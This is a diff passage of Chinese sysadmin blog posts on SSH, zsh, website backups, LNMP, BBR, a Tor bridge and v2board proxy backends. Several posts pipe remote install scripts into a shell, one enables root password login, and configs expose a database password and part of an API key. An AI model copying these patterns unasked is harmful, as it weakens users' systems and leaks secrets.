git push github master
```
#### 2. 设置脚本执行权限
```bash
chmod +x .git/hooks/post-commit
```
#### 3. 测试自动同步
```bash
git commit -m "Your commit message"
```
### Git Bash 的默认工作目录设置
#### 例如将 Git Bash 的默认工作目录设置为 `D:\data\code\C`
编辑`~/.profile` 或 `~/.bashrc `文件
在文件末尾加上
```bash
cd d:/data/code
```
现在,每次你打开 Git Bash它都应该默认定位到 `D:\data`目录。确保路径设置正确,并且没有其他地方覆盖了这个设置。
### 保存SSH 密钥的通行短语
1. 启动ssh-agent
2. 编辑 `~/.profile``~/.bashrc` 文件
在文件末尾加上
```bash
env=~/.ssh/agent.env
agent_load_env () { test -f "$env" && . "$env" >| /dev/null ; }
agent_start () {
(umask 077; ssh-agent >| "$env")
. "$env" >| /dev/null ; }
agent_load_env
# agent_run_state: 0=agent running w/ key; 1=agent w/o key; 2=agent not running
agent_run_state=$(ssh-add -l >| /dev/null 2>&1; echo $?)
if [ ! "$SSH_AUTH_SOCK" ] || [ $agent_run_state = 2 ]; then
agent_start
ssh-add
elif [ "$SSH_AUTH_SOCK" ] && [ $agent_run_state = 1 ]; then
ssh-add
fi
unset env
```
3. 再次运行 Git Bash 时,系统将提示您输入密码

View File

@ -0,0 +1,60 @@
---
title: "Linux美化终端 zsh+ohmyzsh"
date: 2023-12-14T13:21:00Z
tags: []
---
## 1. 安装 zsh
[使用包管理器安装 zsh](https://github.com/ohmyzsh/ohmyzsh/wiki/Installing-ZSH)
将 zsh 设置成默认 shell
```bash
chsh -s /bin/zsh
```
## 2. 安装 [oh-my-zsh](https://ohmyz.sh/)
通过 curl 安装 oh-my-zsh
```bash
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"
```
通过 wget 安装 oh-my-zsh
```bash
sh -c "$(wget https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh -O -)"
```
## 3. 更改主题
内置主题: [oh-my-zsh 主题](https://github.com/ohmyzsh/ohmyzsh/wiki/Themes)
打开 `~/.zshrc` 配置文件,找到 `ZSH_THEME` 变量,将其修改为想要的主题名称。保存后重开终端或者执行 `exec $SHELL` 命令即可生效。
## 4. 安装插件
`oh-my-zsh` 默认自带了很多插件,放置在 `~/.oh-my-zsh/plugins` 目录下。
打开 `~/.zshrc` 配置文件,找到 `plugins` 变量,将您想启用的插件加入进去,不同插件名称之间以空格隔开。
### 主题
* [powerlevel10k](https://github.com/romkatv/powerlevel10k)
### 插件
* [zsh-autosuggestions](https://github.com/zsh-users/zsh-autosuggestions): 根据历史记录和完成情况在您输入时建议命令
* [zsh-syntax-highlighting](https://github.com/zsh-users/zsh-syntax-highlighting): 输入命令时提供语法高亮
#### oh-my-zsh 自带插件
直接按照上述方法在 `.zshrc` 配置的 `plugins` 中加入即可:
* [command-not-found](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/command-not-found): 在 `zsh` 找不到命令时提供建议的安装包
* [extract](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/extract): 使用 `x` 命令解压任何压缩文件
* [pip](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/pip): 为 `python` 包管理器 `pip` 提供补全
* [docker](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/docker): 为 `docker` 命令添加自动补全支持
* [docker-compose](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/docker-compose): 为 `docker-compose` 命令添加自动补全支持

View File

@ -0,0 +1,107 @@
---
title: "SSH使用小技巧"
date: 2024-06-30T23:46:05+08:00
tags: []
---
## 更改root密码
> 将<password>更改为所需的密码
1. 修改密码
```bash
echo root:<password> |sudo chpasswd root
```
2. 开启root登录
```bash
sudo sed -i 's/^#\?PermitRootLogin.*/PermitRootLogin yes/g' /etc/ssh/sshd_config;
```
3. 开启密码登录
```bash
sudo sed -i 's/^#\?PasswordAuthentication.*/PasswordAuthentication yes/g' /etc/ssh/sshd_config;
```
4. 重启ssh服务
```bash
systemctl restart sshd.service
```
## 配置使用密钥登录
1. 生成密钥和公钥,请执行以下命令:
```bash
ssh-keygen -t rsa -b 4096
```
> 连续执行回车即可生成密钥和公钥对。如果需要设置密码,请在密码提示处输入密码。
2. 安装ssh公钥
```bash
cp "$HOME/.ssh/id_rsa.pub" "$HOME/.ssh/authorized_keys"
```
3. 设置公钥权限
```bash
chmod 600 "$HOME/.ssh/authorized_keys"
chmod 700 "$HOME/.ssh"
```
4. ssh配置文件
1. 开启密钥登录
```bash
sudo sed -i 's/^#\?PubkeyAuthentication.*/PubkeyAuthentication yes/g' /etc/ssh/sshd_config
```
2. 关闭密码登录
```bash
sudo sed -i 's/^#\?PasswordAuthentication.*/PasswordAuthentication no/g' /etc/ssh/sshd_config
```
5. 重启sshd服务
```bash
systemctl restart sshd.service
```
## ssh登录后闲置时间过长而断开连接
```bash
echo "ServerAliveInterval 60" >> "$HOME/.ssh/config"
```
> ssh客户端会每隔一段60s自动与ssh服务器通信一次
## 存放ssh密钥密码
### 启动`ssh-agent`
#### Linux
```bash
ssh-agent bash
```
#### Windows
1. 打开服务
2. 将`OpenSSH Authentication Agent`服务启动
3. 设置自启动
### 添加默认的私钥
```bash
ssh-add
```
> 添加私钥时,会要求输入密码。以后,在这个对话里面再使用密钥时,就不需要输入私钥的密码了,因为私钥已经加载到内存里面了。
### 使用命令将本地公钥发送给服务端
```bash
ssh-copy-id username@hostname
```

View File

@ -0,0 +1,102 @@
---
title: "Ubuntu安装C语言编译器"
date: 2023-12-11T17:51:00Z
tags: []
---
## 安装
### 一、安装 Vim文件编辑器
```bash
apt-get install vim # 注:如果没有在超级用户的操作下需要提权
```
### 二、安装 GCC编译器
```bash
apt-get install gcc
```
### 三、安装 build-essential
```bash
apt-get install build-essential
```
## 使用
### 1. 创建一个 hello.c 文件,并编辑第一个程序:
```c
#include <stdio.h>
int main(void)
{
printf("hello world! \n");
return 0;
}
```
### 2. 执行编译命令:
```bash
gcc -Wall hello.c -o hello
```
### 3. 执行程序:
```bash
./hello
```
## GCC 常用命令
### 编译源文件并生成可执行文件
```bash
gcc source.c -o output
```
这里 source.c 是你的源文件的名称output 是你希望生成的可执行文件的名称。
### 只进行编译,生成目标文件
```bash
gcc -c source.c -o output.o
```
这会生成名为`output.o`的目标文件,而不是可执行文件。
### 链接多个目标文件生成可执行文件
```bash
gcc file1.o file2.o -o output
```
如果你已经分别编译了多个源文件并生成了相应的目标文件,你可以将它们链接在一起生成可执行文件。
### 预处理并输出到文件
```bash
gcc -E source.c -o output.i
```
这个命令会执行预处理过程,并将结果输出到 output.i 文件中。
### 查看编译器的版本信息
```bash
gcc --version
```
### 生成调试信息
```bash
gcc -g source.c -o output
```
使用`-g`选项可以生成包含调试信息的可执行文件,方便调试器进行调试。
### 优化编译
```bash
gcc -O2 source.c -o output
```
使用`-O2`选项进行优化编译,提高程序运行效率。
### 开启一系列警告信息
```bash
gcc -Wall source.c -o output
```
`-Wall`选项涵盖了许多常见的警告,但并不包括所有的警告。
如果你想开启更严格的警告,可以考虑使用`-Wextra`
```bash
gcc -Wall -Wextra source.c -o output
```
这将启用一些额外的警告,帮助你更全面地检查代码。

View File

@ -0,0 +1,240 @@
---
title: "Linux实现定时备份网站到网盘"
date: 2024-05-03T20:32:15+08:00
tags: []
---
## 安装bypy
### 安装 pip 和虚拟环境
1. 安装虚拟环境创建工具:
```bash
sudo apt-get install python3-venv -y
```
2. 创建一个新的虚拟环境:
```bash
python3 -m venv "/var/script/venv"
```
3. 激活虚拟环境:
```bash
source "/var/script/venv/bin/activate"
```
4. 安装 Python 库
1. 安装 bypy
```bash
pip install bypy
```
2. 安装 requests
```bash
pip install requests
```
### bypy 设置
#### 授权登录
##### 运行 `bypy info` 后按照提示进行:
1. 将提示中的链接粘贴到浏览器中登录。
2. 输入账号密码登录后授权,获取授权码。
3. 将授权码粘贴回终端并按回车。
##### bypy 基本操作
* `bypy info`:查看空间使用信息。
* `bypy list`:查看目录信息。
* `bypy upload`:上传根目录所有文件。
* `bypy downdir`:把云盘上的内容同步到本地。
* `bypy compare`:比较本地当前目录和云盘根目录。
## 安装阿里网盘备份工具
Github项目地址:[https://github.com/tickstep/aliyunpan](https://github.com/tickstep/aliyunpan)
1. 下载工具包
```bash
wget -P "/var/script" https://github.com/tickstep/aliyunpan/releases/download/v0.3.2/aliyunpan-v0.3.2-linux-amd64.zip -O "/var/script/aliyunpan.zip"
```
2. 解压工具包
```bash
unzip "/var/script/aliyunpan.zip" -d "/var/script"
```
3. 删除压缩包
```bash
rm "/var/script/aliyunpan.zip"
```
4. 重命名工具包名
```bash
mv "/var/script/$(ls "/var/script" | grep "aliyunpan")" "/var/script/aliyunpan"
```
5. 登录阿里云盘
```bash
/var/script/aliyunpan/aliyunpan login
```
## Shell 备份脚本
> 将`数据路径``网站根目录名称``数据库名称``数据库用户名``数据库密码`改为自己的
### 使用于只用docker-compose搭建,只需要备份文件,并上传到网盘
```bash
#!/bin/bash
web_path="/var/www" # 数据路径
date_time=$(date +"%Y_%m_%d") # 日期格式
year=$(date +"%Y") #年份
aliyunpan="/var/script/aliyunpan/aliyunpan" #阿里云盘可执行文件路径
# 激活百度网盘环境
source "/var/script/venv/bin/activate"
for item in "$web_path"/*; do
item_name=$(basename "$item")
# 切换到网站目录进行压缩
cd "$item" || exit
tar -czf "${item_name}_${date_time}.tar.gz" .
# 上传到百度网盘存储
bypy upload "${item_name}_${date_time}.tar.gz" "/${item_name}/"
# 上传到阿里云盘
$aliyunpan upload "${item_name}_${date_time}.tar.gz" "/网站/${item_name}/${year}/"
# 删除文件
rm "${item_name}_${date_time}.tar.gz"
done
```
### 适用于 mysql+nginx的网站,需要备份文件和数据库,并上传到网盘
```bash
#!/bin/bash
web_path="/var/www" # 数据路径
web_arry=("alist" "bitwarden" "blog") # 网站根目录名称
mysql_arry=("blog") # 数据库名称
date_time=$(date +"%Y_%m_%d") # 日期格式
year=$(date +"%Y") #年份
user="root" # 数据库用户名
password="lsy22.com" # 数据库密码
original_dir=$(pwd) # 记录原始目录
# 激活百度网盘环境
source ~/myvenv/bin/activate
# 组合备份
for item in "${mysql_arry[@]}"; do
# 创建SQL备份
mysqldump -u $user -p$password ${item} > "${item}_${date_time}.sql"
# 检查是否有同名的网站目录
if [[ " ${web_arry[@]} " =~ " ${item} " ]]; then
# 切换到网站目录进行压缩
cd "${web_path}/${item}/" || exit
zip -r "${item}_web_${date_time}.zip" .
# 将数据库SQL文件和网站压缩包一起压缩
zip "${item}_${date_time}.zip" "${item}_${date_time}.sql" "${item}_web_${date_time}.zip"
# 删除临时的网站压缩包
rm "${item}_web_${date_time}.zip"
# 返回原始目录
cd "$original_dir" || exit
else
# 否则,只压缩数据库
zip "${item}_${date_time}.zip" "${item}_${date_time}.sql"
fi
rm "${item}_${date_time}.sql"
# 上传到云存储
bypy upload "${item}_${date_time}.zip" "/${item}/${year}/"
# 上传到百度网盘存储
bypy upload "${item}_${date_time}.zip" "/${item}/"
# 上传到阿里云盘
aliyunpan upload "${item}_${date_time}.zip" "/网站/${item}/${year}/"
# 删除文件
rm "${item}_${date_time}.zip"
done
# 单独备份那些没有同名数据库的网站目录
for item in "${web_arry[@]}"; do
if [[ ! " ${mysql_arry[@]} " =~ " ${item} " ]]; then
# 切换到网站目录进行压缩
cd "${web_path}/${item}/" || exit
zip -r "${item}_${date_time}_data.zip" .
# 上传到百度网盘存储
bypy upload "${item}_${date_time}.zip" "/${item}/"
# 上传到阿里云盘
aliyunpan upload "${item}_${date_time}.zip" "/网站/${item}/${year}/"
# 删除文件
rm "${item}_${date_time}_data.zip"
# 返回原始目录
cd "$original_dir" || exit
fi
done
```
### 适用于 mysql+nginx的网站,需要备份文件和数据库
```bash
#!/bin/bash
web_path="/var/www" # 数据路径
web_arry=("alist" "bitwarden" "blog") # 网站根目录名称
mysql_arry=("blog" "study") # 数据库名称
date_time=$(date +"%Y_%m_%d")
year=$(date +"%Y")
user="" # 数据库用户名
password="" # 数据库密码
for item in ${mysql_arry[@]};do
mkdir -p "$item/$year"
mysqldump -u $user -p$password ${item} > "${item}_${date_time}.sql"
zip "./$item/$year/${item}_${date_time}.zip" "./${item}_${date_time}.sql"
rm "./${item}_${date_time}.sql"
done
for item in ${web_arry[@]};do
mkdir -p "./$item/$year"
zip -r "./${item}_${date_time}_data.zip" "${web_path}/${item}"
if [ -f "./$item/$year/${item}_${date_time}.zip" ];then
zip -u "./$item/$year/${item}_${date_time}.zip" "./${item}_${date_time}_data.zip"
else
zip "./$item/$year/${item}_${date_time}.zip" "./${item}_${date_time}_data.zip"
fi
rm "./${item}_${date_time}_data.zip"
done
```
## 添加执行权限
```bash
chmod +x backups.sh
```
## 设置定时任务
1. 编辑 crontab 以自动执行备份脚本:
```bash
crontab -e
```
添加以下内容,调整脚本路径为实际路径:
```cron
0 0 1 * * /var/script/backups.sh # 每个月的第一天的午夜00:00执行
```
2. 重启 cron 服务以应用更改:
```bash
sudo systemctl restart cron
```

View File

@ -0,0 +1,16 @@
---
title: "一键卸载宝塔Linux面板及运行环境命令"
date: 2021-09-05T18:02:00+00:00
tags: []
---
## 命令
```bash
wget http://download.bt.cn/install/bt-uninstall.sh
```
执行脚本
```bash
sh bt-uninstall.sh
```

View File

@ -0,0 +1,152 @@
---
title: "使用LNMP搭建网站"
date: 2024-04-05T15:08:45+08:00
tags: []
---
## 搭建网站 (以 Typecho 为例)
### 系统Debian 12
### 第一步:绑定域名
1. 修改 hosts 配置
```bash
vim /etc/hosts
```
添加需要绑定的域名,格式如下:
```text
公网IP 域名
```
### 第二步:配置 MySQL 数据库
1. 进入 MySQL
```bash
mysql -u root -p
```
2. 创建数据库和用户,并授权
```sql
CREATE DATABASE typecho_db CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
CREATE USER 'typecho_user'@'localhost' IDENTIFIED BY 'your_password';
GRANT ALL PRIVILEGES ON typecho_db.* TO 'typecho_user'@'localhost';
FLUSH PRIVILEGES;
EXIT;
```
> 替换数据库名typecho_db
> 替换用户名typecho_user
> 替换密码your_password
#### 导入备份数据 (如果有)
1. 切换到目标数据库
```sql
USE existing_database_name;
```
> 替换为现有数据库的名称。
2. 导入备份数据
```sql
SOURCE /path/to/backup_file.sql;
```
> 替换为备份文件的路径。
### 第三步:配置 Nginx
1. 创建 Nginx 网站配置文件
```bash
sudo vim /etc/nginx/sites-available/typecho.conf
```
2. 添加 Typecho 的反向代理配置信息
```nginx
server {
listen 80;
listen [::]:80;
listen 443 ssl http2;
listen [::]:443 ssl http2;
server_name your_domain.com; # 替换为您的域名
ssl_certificate /**/**/*.cer; # 填入SSL证书路径
ssl_certificate_key /*/*/*.key;# 填入SSL证书路径
root /var/www/typecho; # 替换为 Typecho 系统文件夹路径
index index.php index.html index.htm;
location / {
try_files $uri $uri/ /index.php?$args;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.4-fpm.sock; # 替换为您的 PHP 版本配置
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
location ~* \.(jpg|jpeg|gif|png|webp|ico|bmp|tiff|css|js|svg)$ {
expires max;
log_not_found off;
}
location = /favicon.ico { access_log off; log_not_found off; }
location = /robots.txt { access_log off; log_not_found off; }
access_log /var/log/nginx/typecho_access.log;
error_log /var/log/nginx/typecho_error.log;
gzip on;
gzip_disable "msie6";
gzip_vary on;
gzip_comp_level 6;
gzip_min_length 1100;
gzip_buffers 16 8k;
gzip_proxied any;
gzip_types text/plain text/css text/xml application/xml application/javascript application/rss+xml application/atom+xml image/svg+xml;
}
```
3. 创建软链接至 sites-enabled
```bash
sudo ln -s "/etc/nginx/sites-available/typecho.conf" "/etc/nginx/sites-enabled"
```
4. 重启服务器
```bash
nginx -t # 检查配置文件语法错误
nginx -s reload # 重新加载配置文件
```
### 第四步:申请 SSL 证书
1. 手动安装 acme.sh
```bash
git clone --depth=1 https://github.com/acmesh-official/acme.sh && cd acme.sh
```
或使用国内镜像
```bash
git clone --depth=1 https://gitee.com/neilpang/acme.sh && cd acme.sh
```
2. 安装 acme.sh
```bash
./acme.sh --install
```
3. 注册账号
```bash
acme.sh --register-account -m my@example.com
```
4. 生成证书
```bash
./acme.sh --issue -d mydomain.com -d www.mydomain.com --webroot /home/wwwroot/mydomain.com/
```
5. 配置 SSL 证书和密钥路径
```nginx
ssl_certificate /path/to/your_certificate.cer; # SSL 证书路径
ssl_certificate_key /path/to/your_certificate.key; # SSL 证书密钥路径
```
6. 重启 Nginx
```bash
nginx -t # 检查配置文件语法错误
nginx -s reload # 重新加载配置文件
```

View File

@ -0,0 +1,44 @@
---
title: "开启系统自带的TCP BBR加速"
date: 2024-07-02T17:19:38+08:00
tags: []
---
> **系统自带内核高于4.9 则默认已包含 BBR**
### 1. 检查内核版本
```bash
uname -r
```
> 内核版本高于 4.9 就行。
### 2. 开启BBR
通过向 `/etc/sysctl.conf`文件添加配置来启用BBR
```bash
echo "net.core.default_qdisc=fq" | sudo tee -a /etc/sysctl.conf
echo "net.ipv4.tcp_congestion_control=bbr" | sudo tee -a /etc/sysctl.conf
```
### 3. 生效更改
```bash
su root -c "sudo sysctl -p"
```
### 4. 生效检测
**执行下面命令,如果结果中带有****[bbr](https://www.moeelf.com/tag/bbr "View all posts in bbr")** **,则证明你的内核已开启****[bbr](https://www.moeelf.com/tag/bbr "View all posts in bbr")** **。**
```bash
sysctl net.ipv4.tcp_available_congestion_control
```
**注:也可以执行下面命令,如果结果中有****[bbr](https://www.moeelf.com/tag/bbr "View all posts in bbr")** **,也可以证明你的内核已开启****[bbr](https://www.moeelf.com/tag/bbr "View all posts in bbr")** **。**
```bash
lsmod | grep bbr
```

View File

@ -0,0 +1,82 @@
---
title: "手动搭建LNMP"
date: 2024-04-05T01:48:16+08:00
tags: []
---
## 系统更新和软件安装
### 更新系统的软件包列表
在开始安装任何软件之前,最好先更新系统的软件包列表:
```bash
sudo apt update
```
### 第一步:安装 Nginx
1. **安装 Nginx**
```bash
sudo apt install nginx
```
2. **启动 Nginx 并检查状态**
```bash
sudo systemctl status nginx
```
### 第二步:安装 PHP
1. **安装 php-fpm 模块**
```bash
sudo apt install php-fpm
```
> 安装 php-fpm 模块而不是 PHP。如果 PHP 先安装,它可能会默认配置 Apache 服务器而不是 Nginx。`php-fpm` 包包含 PHP 的所有核心模块。
2. **(可选)安装其他 PHP 模块**,例如 `php-mysql`,运行 Typecho 所必需的软件包:
```bash
sudo apt install php-common php-mysql php-cgi php-mbstring php-curl php-gd php-xml php-xmlrpc php-pear
```
3. **确认 PHP 版本**
```bash
php -v
```
4. **确认 php-fpm 服务正在运行**(替换为您的 PHP 版本):
```bash
sudo systemctl status php8.3-fpm
```
### 第三步:安装 MySQL
1. **安装 gnupg 包**,用于处理密钥:
```bash
sudo apt install gnupg
```
2. **下载 MySQL 的官方 DEB 软件包**。先查询[最新的官方 DEB 包](https://dev.mysql.com/downloads/repo/apt/),然后使用 `wget` 下载:
```bash
wget [MySQL DEB Package URL]
```
3. **安装 DEB 包**
```bash
sudo dpkg -i [package-name.deb]
```
> 将 `[package-name.deb]` 替换为下载的包名。
4. **刷新 apt 软件包缓存**,以使新软件包可用:
```bash
sudo apt update
```
5. **安装 MySQL 服务器**
```bash
sudo apt install mysql-server
```
6. **检查 MySQL 服务状态**
```bash
sudo systemctl status mysql
```
7. **测试 MySQL**
```bash
mysqladmin -u root -p version
```

View File

@ -0,0 +1,37 @@
---
title: "X-UI面板快速搭建和配置"
date: 2023-07-11T00:17:00+08:00
tags: ["x-ui"]
---
## 一、部署安装
GitHub项目地址[https://github.com/FranzKafkaYu/x-ui](https://github.com/FranzKafkaYu/x-ui)
1. 复制粘贴以下代码,并运行:
```bash
bash <(curl -Ls https://raw.githubusercontent.com/FranzKafkaYu/x-ui/master/install.sh)
```
注意在IPv6 Only的VPS中例如Euserv、Hax请先安装warp否则无法访问Github API而报错。
2. 设置用户名密码、面板访问端口。
待出现X-ui的菜单时就已经成功一半了
## 二、配置
系统状态 - xray 状态 - 切换版本 - 切换为最新版本
配置节点:
- 入站列表 - 添加入站
- 协议:`vless`
- 端口:`443`
- reality`开启`
- 添加用户:+
- flow选择xtls-rprx-vision
- 其他默认
## 三、使用
点击"操作"→"二维码",导出节点。

View File

@ -0,0 +1,133 @@
---
title: "centos7.x搭建Tor私人网桥"
date: 2021-07-30T23:11:00Z
tags: []
---
## 1. 下载并安装 Tor
```bash
yum install tor -y
```
## 2. 安装 obfs4
### 通过python进行编译安装
#### 安装所需依赖软件模块
```bash
yum install make automake gcc python-pip python-devel libyaml-devel
```
#### 安装 obfs4proxy
```bash
pip install obfsproxy
```
### 通过go进行编译安装
#### 下载go的obfs4项目
```bash
git clone http://www.github.com/Yawning/obfs4
```
#### 进入obfs4目录进行编译
```bash
go build -o obfs4proxy/obfs4proxy ./obfs4proxy
```
#### 复制bofs4proxy到系统工作目录下
```bash
cp ./obfs4proxy/obfs4proxy /usr/bin/obfs4proxy
```
## 3. 配置 Tor Bridges
### 编辑配置文件
```bash
vim /etc/tor/torrc
```
定义一个 ORPort不作为出口节点设置成 Bridge
```text
Log notice file /var/log/tor/notices.log
RunAsDaemon 1
ORPort 6666
Exitpolicy reject *:*
BridgeRelay 1
ServerTransportPlugin obfs4 exec /usr/bin/obfs4proxy
ExtORPort auto
PublishServerDescriptor 0
```
### 重启tor服务
```bash
systemctl restart tor
```
### 查看tor服务状态
```bash
systemctl status tor
```
## 4. 使用网桥
查看日志文件:
```bash
tail -F /var/log/tor/notices.log
```
内容如下:
```text
[notice] Your Tor server's identity key fingerprint is 'Unnamed
530FA95A79B9145D315F15F01215BE2F3BE921EB' [notice] Your Tor bridge's
hashed identity key fingerprint is 'Unnamed
83D1AC9EC2F15D7024278461DC91A8B2E9BBF43A' [notice] Registered server
transport 'obfs4' at '[::]:46396' [notice] Tor has successfully opened
a circuit. Looks like client functionality is working. [notice]
Bootstrapped 100%: Done [notice] Now checking whether ORPort
<redacted>:6666 is reachable... (this may take up to 20 minutes --
look for log messages indicating success) [notice] Self-testing
indicates your ORPort is reachable from the outside. Excellent.
```
注意:记住输出中 obfs4 监听的端口(本例中是 46396。并且还能找到你的 server identity fingerprint本例中是 530FA95A79B9145D315F15F01215BE2F3BE921EB也复制下来。
`/var/lib/tor/pt_state/obfs4_bridgeline.txt` 文件中可以看到类似如下的内容:
```text
Bridge obfs4 <IP ADDRESS>:<PORT> <FINGERPRINT>
cert=oG6a3K7CtearIloUp2OCUk60oNMgw+jVgCNhGumMkODS659UEgRRx7yxZuoEo9Crp9GGXg
iat-mode=0
```
根据日志中的信息获得最终的网桥配置:
```text
obfs4 <IP ADDRESS>:46396 530FA95A79B9145D315F15F01215BE2F3BE921EB
cert=6LMNcXh6MIfApbZiMksnS4Kj+2sffZ5pybSqtcOO5YoHgfrMpkBJqvLxhuR2Ppau0L2seg
iatmode=0
```
## 5. 防火墙配置
编辑防火墙公共配置文件:
```bash
vim /etc/firewalld/zones/public.xml
```
内容如下(本例ORPort端口 => 6666, obfs4端口 => 46396)
```xml
<port protocol="tcp" port="ORPort端口"/>
<port protocol="udp" port="ORPort端口"/>
<port protocol="tcp" port="obfs4端口"/>
<port protocol="udp" port="obfs4端口"/>
```
使防火墙配置生效:
```bash
firewall-cmd --complete-reload
```
[Tor浏览器下载地址](https://www.torproject.org/download/)

View File

@ -0,0 +1,121 @@
---
title: "v2board后端对接-XrayR-V2ray-ws-tls-cdn"
date: 2023-04-06T19:23:00Z
tags: ["v2board"]
---
确保v2board版本在1.2.5及以上
## 一、安装与更新
```bash
bash <(curl -Ls https://raw.githubusercontent.com/XrayR-project/XrayR-release/master/install.sh)
```
## 二、域名配置
将域名托管到cloudflared
## 三、同步时间(重要)
v2ray 节点需要进行时间同步,时间若与客户端相差太大则无法连接
### CentOS 7
```bash
yum install -y ntp
systemctl enable ntpd
ntpdate -q 0.rhel.pool.ntp.org
systemctl restart ntpd
```
### Debian 9 / Ubuntu 16
```bash
apt-get install -y ntp
systemctl enable ntp
systemctl restart ntp
```
### 或者(时间同步为上海)
```bash
rm -rf /etc/localtime
ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
ntpdate time.nist.gov
```
## 四、面板节点配置
### 添加节点
在后台 > 节点管理 > 添加节点:
- 节点名称:随便填写
- 权限组:随便填写
- 节点地址填cf的ip或者伪装的域名
- TLS伪装的域名
- 端口443
- 传输协议选择websocket
### 配置协议
```json
{
"path": "/随便",
"headers":
{
"Host": "伪装的域名"
}
}
```
## 五、配置 XrayR
第一次安装完成后,编辑配置文件:
配置文件位置在 `/etc/XrayR/config.yml`
```yaml
Log:
Level: warning # Log level: none, error, warning, info, debug
AccessPath: # /etc/XrayR/access.Log
ErrorPath: # /etc/XrayR/error.log
DnsConfigPath: # /etc/XrayR/dns.json # Path to dns config, check https://xtls.github.io/config/dns.html for help
RouteConfigPath: #/etc/XrayR/route.json # Path to route config, check https://xtls.github.io/config/routing.html for help
InboundConfigPath: #/etc/XrayR/custom_inbound.json # Path to custom inbound config, check https://xtls.github.io/config/inbound.html for help
OutboundConfigPath: #/etc/XrayR/custom_outbound.json # Path to custom outbound config, check https://xtls.github.io/config/outbound.html for help
ConnectionConfig:
Handshake: 4 # Handshake time limit, Second
ConnIdle: 30 # Connection idle time limit, Second
UplinkOnly: 2 # Time limit when the connection downstream is closed, Second
DownlinkOnly: 4 # Time limit when the connection is closed after the uplink is closed, Second
BufferSize: 64 # The internal cache size of each connection, kB
Nodes:
-
PanelType: "NewV2board" ## 对接的面板类型: SSpanel, V2board, NewV2board, PMpanel, Proxypanel, V2RaySocks
ApiConfig:
ApiHost: "https://****.com" ## 面板域名地址,或自定义个专用后端对接不提供访问的域名
ApiKey: "*****" ## 面板设置的通讯密钥
NodeID: 1 ## 前端节点id
NodeType: V2ray ## 对接的节点类型:可选V2ray, Shadowsocks, Trojan
Timeout: 30 # Timeout for the api request
EnableVless: false # Enable Vless for V2ray Type
EnableXTLS: false # Enable XTLS for V2ray and Trojan
SpeedLimit: 0 # Mbps, Local settings will replace remote settings
DeviceLimit: 0 # Local settings will replace remote settings
ControllerConfig:
ListenIP: 0.0.0.0 # IP address you want to listen
UpdatePeriodic: 100 # Time to update the nodeinfo, how many sec.
CertConfig:
CertMode: dns # Option about how to get certificate: none, file, http, dns. Choose "none" will forcedly disable the tls config.
CertDomain: "***.com" # 伪装的域名
Provider: cloudflare # DNS cert provider, Get the full support list here: https://go-acme.github.io/lego/dns/
Email: test@me.com
DNSEnv: # DNS ENV option used by DNS provider
CLOUDFLARE_EMAIL: test@me.com ##CF登录邮箱
CLOUDFLARE_API_KEY: 57b4d8ec82ec3e ##CF全局api
```
## 六、启动 XrayR
```bash
xrayr start
```
或者
```bash
XrayR
```

View File

@ -0,0 +1,107 @@
---
title: "v2board后端对接 soga"
date: 2021-07-31T01:17:00+08:00
tags: ["v2board"]
---
确保v2board版本在1.2.5及以上
## 一、安装与更新
```bash
bash <(curl -Ls https://raw.githubusercontent.com/sprov065/soga/master/install.sh)
```
## 二、同步时间(重要)
v2ray 节点需要进行时间同步,时间若与客户端相差太大则无法连接。
### CentOS 7
```bash
yum install -y ntp
systemctl enable ntpd
ntpdate -q 0.rhel.pool.ntp.org
systemctl restart ntpd
```
### Debian 9 / Ubuntu 16
```bash
apt-get install -y ntp
systemctl enable ntp
systemctl restart ntp
```
### 或者(时间同步为上海)
```bash
rm -rf /etc/localtime
ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
ntpdate time.nist.gov
```
## 三、面板节点配置
### 添加节点
在面板后台 > 节点管理 > 添加节点:
- 节点名称:随便填写
- 权限组:随便填写
- 节点地址填v2borad的域名或ip
- TLS填v2borad的域名或不填
- 传输协议选择websocket
### 配置协议
```json
{
"lsy": "/"
}
```
## 四、配置 soga
### 查看配置
```bash
soga config
```
### 自动配置
可以一行填写任意数量的配置信息,示例:
```bash
soga config type=v2board server_type=v2ray
```
### 编辑配置文件
配置文件位置:`/etc/soga/soga.conf`
基础配置示例:
```ini
type=v2board ## 对接的面板类型可选SSpanel, V2board, NewV2board, PMpanel, Proxypanel, V2RaySocks
server_type=v2ray ## 对接的节点类型可选V2ray, Shadowsocks, Trojan
api=webapi ## 对接的方式可选webapi 或 db表示 webapi 对接或数据库对接
node_id=1 ## 前端节点id
soga_key= ## 授权密钥社区版无需填写最多支持88用户商业版无限制
##webapi 对接
webapi_url=https://*******.com/ ## 面板域名地址,或自定义个专用后端对接不提供访问的域名
webapi_mukey=********************* ## 面板设置的通讯密钥
##数据库对接
db_host=db.xxx.com ## 数据库地址
db_port=3306 ## 数据库端口
db_name=name ## 数据库名
db_user=root ## 数据库用户名
db_password=asdasdasd ## 数据库密码
user_conn_limit=0 ## 限制用户连接数0代表无限制v2board 必填!!!
user_speed_limit=0 ## 用户限速0代表无限制单位 Mbpsv2board 必填!!!
check_interval=100 ## 同步前端用户、上报服务器信息等间隔时间(秒),近似值
force_close_ssl=false ## 设为true可强制关闭tls即使前端开启tlssoga也不会开启tls方便用户自行使用nginx、caddy等反代
forbidden_bit_torrent=true ## 设为true可禁用bt下载
default_dns=8.8.8.8,1.1.1.1 ## 配置默认dns可在此配置流媒体解锁的dns以逗号分隔
```
## 五、启动 soga
```bash
soga start
```
或者
```bash
soga
```

View File

@ -0,0 +1,44 @@
---
title: "v2board后端对接 套cloudfront解决被墙和提升速度"
date: 2023-05-13T22:05:00Z
tags: ["v2board"]
---
## 一、准备工作
参照文章`v2board后端对接-XrayR`创建一个可用的节点。
## 二、配置 AWS CloudFront
1. 创建aws账号
2. 在aws后台直接搜-`CloudFront`-创建分配
3. 创建分配配置:
